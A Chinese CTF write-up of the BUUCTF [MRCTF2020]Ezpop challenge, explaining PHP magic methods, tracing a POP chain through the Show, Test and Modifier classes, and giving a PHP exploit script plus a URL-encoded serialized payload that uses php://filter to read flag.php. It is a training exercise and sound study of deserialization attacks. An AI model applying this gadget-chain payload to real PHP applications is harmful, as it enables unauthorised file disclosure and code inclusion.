当前位置: 首页 > news >正文

BUUCTF [MRCTF2020]Ezpop解题思路

题目代码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

前置知识

php魔术方法:

  • __call() : 在对象中调用一个不可访问方法时, __call() 会被调用
  • __toString: 将对象当作一个字符串输出的时候
  • __wakeup: 反序列化时被调用
  • __invoke: 当一个对象被作为函数调用时被调用
  • __get: 当对象访问一个不存在的属性时调用
  • __construct:创建对象时调用

序列化只会保存对象的属性对应的值

分析

这里找到危险参数 ,发现在 Modifier 对象中

public function __invoke(){$this->append($this->var);}

我们顺着这个魔术方法找哪里调用了变量函数
Test对象中

public function __get($key){$function = $this->p;return $function();}

再顺着这个魔术方法的调用条件找哪里访问了Test对象中没有的变量

    public function __toString(){return $this->str->source;}

我们找到了Show对象吗,只要我们将str变量设置为Test对象,那么就能触发这个利用链

再找到输出变量的地方

$this->source

在Show对象中,如果我们将source设置为Show对象,那么就等于将该对象当作字符串进行访问从而触发 __tostring方法

``

EXP


<?php
class Modifier
{protected  $var;function __construct($var){$this->var = $var;}
}class Show
{public $source = 0;public $str = 0;}class Test
{public $p;
}$data = "php://filter/read=convert.base64-encode/resource=flag.php";   # 最终这里被include$m = new Modifier($data);$t = new Test();
$t->p = $m ;$s1 = new Show();
$s2 = new Show();$s2->str = $t;
$s1->source = $s2;echo urlencode(serialize($s1));

最终我们include(“php://filter/read=convert.base64-encode/resource=flag.php”)即可读取flag.php文件从而拿到flag

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D
http://www.lryc.cn/news/127802.html

相关文章:

  • 【IMX6ULL驱动开发学习】07.驱动程序分离的思想之平台总线设备驱动模型和设备树
  • 深度学习中的python语法笔记总结
  • Reids 的整合使用
  • Vue3 —— watchEffect 高级侦听器
  • Java异步子线程读取主线程参数的若干好玩场景
  • Android 视频开发
  • 【计算机网络篇】UDP协议
  • LeetCode 2682. 找出转圈游戏输家
  • 数据结构单链表
  • 自定义WEB框架结合Jenkins实现全自动测试
  • PHP加密与安全的最佳实践
  • SQL Server数据库无法连接
  • videojs 播放视频
  • vue强制刷新变量
  • [QCA6174]QCA6174 5G WiFi DFS处理逻辑分析及雷达误检率高优化规避
  • 预防SQL漏洞注入和规避网络攻击
  • 《Go 语言第一课》课程学习笔记(一)
  • 网络安全 Day29-运维安全项目-iptables防火墙
  • SQL 复习 03
  • 出现 sudo: docker: command not found 的解决方法
  • FastApi-1-结合sql 增/查demo
  • Spring学习笔记3
  • springboot艰难版本升级之路!! springboot 2.3.x版本升级到2.7.x版本
  • Codeforces 1856E2 复杂度分析 + DP
  • Windows - UWP - 为UWP应用创建桌面快捷方式
  • 了解Web DDoS海啸攻击的4个维度
  • 【数学建模】逻辑回归算法(Logistic Resgression)
  • Hadoop HA集群两个NameNode都是standby或者主NameNode是standby,从NameNode是active的情况集锦
  • [Go版]算法通关村第十一关白银——位运算的高频算法题
  • Swift 基础